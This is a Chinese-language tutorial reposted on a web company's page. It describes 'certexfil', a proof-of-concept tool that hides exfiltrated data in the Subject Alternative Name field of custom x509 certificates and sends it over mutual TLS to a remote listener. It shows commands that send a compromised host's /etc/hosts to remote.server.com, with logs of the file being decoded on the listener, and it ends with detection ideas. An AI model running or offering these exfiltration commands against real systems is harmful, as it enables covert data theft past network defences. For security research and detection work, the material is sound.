如何利用x509数字证书实现数据渗透
这篇文章主要介绍如何利用x509数字证书实现数据渗透,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!
成都创新互联-专业网站定制、快速模板网站建设、高性价比建宁网站开发、企业建站全套包干低至880元,成熟完善的模板库,直接使用。一站式建宁网站制作公司更省心,省钱,快速模板网站建设找我们,业务覆盖建宁地区。费用合理售后完善,10年实体公司更值得信赖。
数据泄露可能是内部人员和黑客的主要目标。因此,你就需要思考如何发送这些数据。
我发现大多数公司对这方面的问题几乎没有什么防护措施(例如,中间人代理和TLS拦截),检测通常也少的可怜......但有时,这可能是一个挑战。
对于工作和业余爱好,我围绕数据混淆和隐蔽通道编写了大量的工具,并总是在为构建更好的安全检测和改善响应时间做努力。
本文我们将讨论如何将数据嵌入到自定义SSL证书中,并通过mTLS针对一个远程侦听服务来使用它。
这是作为POC而写的,也是我在Go中的编写第一个程序。
从 TLS 到 mTLS?
TLS(安全传输层协议)是一种加密协议,用于在客户端和服务器之间提供通信安全性。为此,证书颁发机构(“CA”)会为服务器颁发一个签名证书,以向客户端证明其身份。该客户端可以检查证书,并查看签名的CA是否真正受信任。
虽然TLS主要是对服务器进行身份验证,但Mutual TLS添加了客户端的身份验证,该身份验证将由受信任的CA提供签名证书。
x509 证书滥用
X509证书可以使用主题别名或SAN进行扩展。
这意味着我们可以在证书创建期间添加字面量(literal)值,这些值可以是从电子邮件,IP到DNS名称的任何内容。
同样,可以在此SAN中添加任何内容,这里并没有真正的验证,只需使用DNS: (.*)的格式即可。
那么,我们是否可以在这个位置隐藏一段我们的payload代码呢?即 DNS: base64(content)。
Certexfil
它有三种模式:
使用 — ca创建客户端和侦听端都使用的CA架构;
使用 — listen,启动一个mTLS侦听器(你需要来自 — ca的CA文件)
使用 — payload和 — host,将payload(文件,stdout)注入自定义客户端证书,然后立即用它连接到侦听服务。
代码可以在这里找到:https://github.com/sourcefrenchy/certexfil
Certexfil 加密 payload
我使用了一个简单的编码模块对payload进行了base64编码,但在这个阶段似乎没有什么用。显然,我需要在某一点上做些加密,或者我应该将它重命名为encodepayload :)。为此,我在go中创建了一个用于加密payload的模块cryptopayload。
代码可以在这里找到:https://github.com/sourcefrenchy/cryptopayload
用法
创建CA/服务器证书
这将创建包含用于mTLS的server_cert.pem和server_key.pem证书的./CERTS目录(客户端和侦听模式将使用这些目录:
somewhere$ certexfil -ca -ecdsa-curve P521 -host remote.server.com
现在,请确保你的远程服务器上有certexfil二进制文件和创建的./CERTS目录。然后,启动侦听(默认为:所有接口,tcp/8443)
remoteserver$ ./certexfil -listen
客户端/受妥协主机发送 payload
在本例中,我们尝试通过生成自定义证书并建立与远程侦听器的mTLS连接,来对我们的“/etc/hosts”文件进行数据泄露,所有这些操作只需下面这一行命令:
06:52:14 jma@wintermute Go-Workspace → certexfil --host remote.server.com --payload /etc/hosts 2019/05/31 18:52:23 [*] Reading from file.. 2019/05/31 18:52:24 [D] Payload (raw) --> 127.0.0.1 ...(225 bytes) 2019/05/31 18:52:24 [D] Payload (Prepare()) --> �... (173 bytes) 2019/05/31 18:52:24 [*] Generated custom cert with payload Oo
我们可以在本地检查创建的新证书(client_cert.pem)和SAN区域中添加的payload(base64)。让我们使用openssl再检查一遍:
$ openssl x509 -in ./CERTS/client_cert.pem -text -noout grep -A 5 "Subject Alternative Name" X509v3 Subject Alternative Name: DNS:x.io.net, DNS: H4sIAAAAAAAC/0TNMa7DIAwG4DmcwtKbH4IMqcQNunXoBQgxDaoDCJOmx69o08abP1v/r/uTVFJJ3VFylubEVXxMS91tIVYsy1pRiD+4zgg+EaUtxBtQiMhgC8KEHIodqV0LnC+PAZzNb2h6LIzR0Cbk4f9Xs28pj9bdhUeljFHHS8QqvD9wcZZrLujDs3nfMptbopgm5B37L5a0ViwsXgEAAP//pJPCNuEAAAA= Signature Algorithm: ecdsa-with-SHA512 30:81:88:02:42:01:aa:73:a9:af:03:4f:21:16:dd:62:4a:af: 59:6b:89:f5:a6:6d:e6:f1:21:40:ff:c8:32:f7:99:4f:d9:c8: 7f:b3:ac:43:1f:71:09:86:f4:be:7b:af:93:31:e2:fb:ec:e8:
检索侦听端上的 payload
验证客户端连接提供的证书后,我们可以检索payload,从base64解码并显示它:
○ → ./certexfil --listen 2019/05/31 22:51:01 [*] Starting listener.. 2019/05/31 22:52:24 [*] Payload received: H4sIAAAAAAAC/0TNMa7DIAwG4DmcwtKbH4IMqcQNunXoBQgxDaoDCJOmx69o08abP1v/r/uTVFJJ3VFylubEVXxMS91tIVYsy1pRiD+4zgg+EaUtxBtQiMhgC8KEHIodqV0LnC+PAZzNb2h6LIzR0Cbk4f9Xs28pj9bdhUeljFHHS8QqvD9wcZZrLujDs3nfMptbopgm5B37L5a0ViwsXgEAAP//pJPCNuEAAAA= 2019/05/31 22:52:24 [*] Payload decoded: 127.0.0.1 localhost 127.0.1.1 wintermute # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters
限制
tls:的握手消息长度为1399109字节,已超过了最大值65536字节。
OpenSSL不允许大小超过65536字节的证书
TODO:将大型payload拆分为多个证书和/或重新编译OpenSSL
缓解措施
假设你已截获并分析SSL流量的一些想法:)
检测新创建的TLS证书
检测大型TLS证书或检查SAN以获取有效的DNS条目(例如,你可以使用某些BroIDS脚本)
正确配置Man-in-the-Middle代理/防火墙拦截TLS流量
以上是“如何利用x509数字证书实现数据渗透”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注创新互联行业资讯频道!
文章标题:如何利用x509数字证书实现数据渗透
新闻来源:http://pwwzsj.com/article/gpcdio.html